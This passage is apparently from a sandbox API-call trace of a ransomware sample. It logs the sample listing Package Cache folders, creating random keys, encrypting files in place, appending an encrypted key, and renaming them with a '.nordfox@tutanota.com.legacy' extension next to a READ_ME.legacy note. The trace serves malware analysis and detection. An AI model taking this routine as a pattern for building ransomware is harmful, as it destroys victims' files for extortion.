cAlternateFileName="")) returned 0x60c998 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.850] GetLastError () returned 0x0 [0144.850] SetLastError (dwErrCode=0x0) [0144.850] GetLastError () returned 0x0 [0144.850] SetLastError (dwErrCode=0x0) [0144.850] GetLastError () returned 0x0 [0144.850] SetLastError (dwErrCode=0x0) [0144.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0144.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0144.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0144.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0144.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0144.850] FindNextFileW (in: hFindFile=0x60c998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0144.851] GetLastError () returned 0x0 [0144.851] SetLastError (dwErrCode=0x0) [0144.851] GetLastError () returned 0x0 [0144.851] SetLastError (dwErrCode=0x0) [0144.851] GetLastError () returned 0x0 [0144.851] SetLastError (dwErrCode=0x0) [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cad8 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cad8 | out: hHeap=0x520000) returned 1 [0144.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0144.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0144.851] FindNextFileW (in: hFindFile=0x60c998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0144.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.852] GetLastError () returned 0x0 [0144.852] SetLastError (dwErrCode=0x0) [0144.852] GetLastError () returned 0x0 [0144.852] SetLastError (dwErrCode=0x0) [0144.852] GetLastError () returned 0x0 [0144.852] SetLastError (dwErrCode=0x0) [0144.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0144.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0144.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0144.853] FindNextFileW (in: hFindFile=0x60c998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12e73da, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe12e73da, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe130d421, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.853] GetLastError () returned 0x0 [0144.853] SetLastError (dwErrCode=0x0) [0144.853] GetLastError () returned 0x0 [0144.853] SetLastError (dwErrCode=0x0) [0144.853] GetLastError () returned 0x0 [0144.853] SetLastError (dwErrCode=0x0) [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0144.853] FindNextFileW (in: hFindFile=0x60c998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.854] SetLastError (dwErrCode=0x0) [0144.854] GetLastError () returned 0x0 [0144.854] SetLastError (dwErrCode=0x0) [0144.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b0) returned 0x5646a8 [0144.854] SetLastError (dwErrCode=0x0) [0144.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.854] FindNextFileW (in: hFindFile=0x60c998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0144.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x563720 [0144.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0144.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0144.854] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0144.854] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0144.854] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", dwFileAttributes=0x80) returned 1 [0144.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x570858 [0144.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c6) returned 0x52f438 [0144.855] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0 [0144.855] GetFileSizeEx (in: hFile=0x7d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143360) returned 1 [0144.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2f40858 [0144.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2e81f40 [0144.857] ReadFile (in: hFile=0x7d0, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0144.885] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.885] WriteFile (in: hFile=0x7d0, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0144.890] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23000 [0144.890] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.890] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.890] WriteFile (in: hFile=0x7d0, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.891] WriteFile (in: hFile=0x7d0, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.891] CloseHandle (hObject=0x7d0) returned 1 [0144.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0144.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0144.891] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0144.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0144.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0144.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0144.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0144.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0144.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0144.893] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0144.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0144.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0144.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0144.893] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0 [0144.893] GetFileSizeEx (in: hFile=0x7d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5881317) returned 1 [0144.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x59bde5) returned 0x312e020 [0144.920] ReadFile (in: hFile=0x7d0, lpBuffer=0x312e020, nNumberOfBytesToRead=0x59bde5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x59bde5, lpOverlapped=0x0) returned 1 [0145.203] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=-5881317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.203] WriteFile (in: hFile=0x7d0, lpBuffer=0x36dd020*, nNumberOfBytesToWrite=0x59bde5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36dd020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x59bde5, lpOverlapped=0x0) returned 1 [0145.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312e020 | out: hHeap=0x520000) returned 1 [0145.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x36dd020 | out: hHeap=0x520000) returned 1 [0145.337] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x59bde5 [0145.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0145.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0145.337] WriteFile (in: hFile=0x7d0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0145.338] WriteFile (in: hFile=0x7d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0145.338] CloseHandle (hObject=0x7d0) returned 1 [0145.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0145.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0145.338] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a4b8 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0145.340] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60cad8 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0145.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0145.341] GetLastError () returned 0x0 [0145.341] SetLastError (dwErrCode=0x0) [0145.341] GetLastError () returned 0x0 [0145.341] SetLastError (dwErrCode=0x0) [0145.341] GetLastError () returned 0x0 [0145.341] SetLastError (dwErrCode=0x0) [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0145.341] FindNextFileW (in: hFindFile=0x60cad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0145.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0145.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0145.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0145.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0145.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0145.341] GetLastError () returned 0x0 [0145.342] SetLastError (dwErrCode=0x0) [0145.342] GetLastError () returned 0x0 [0145.342] SetLastError (dwErrCode=0x0) [0145.342] GetLastError () returned 0x0 [0145.342] SetLastError (dwErrCode=0x0) [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c618 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c618 | out: hHeap=0x520000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610338 | out: hHeap=0x520000) returned 1 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0145.342] FindNextFileW (in: hFindFile=0x60cad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, 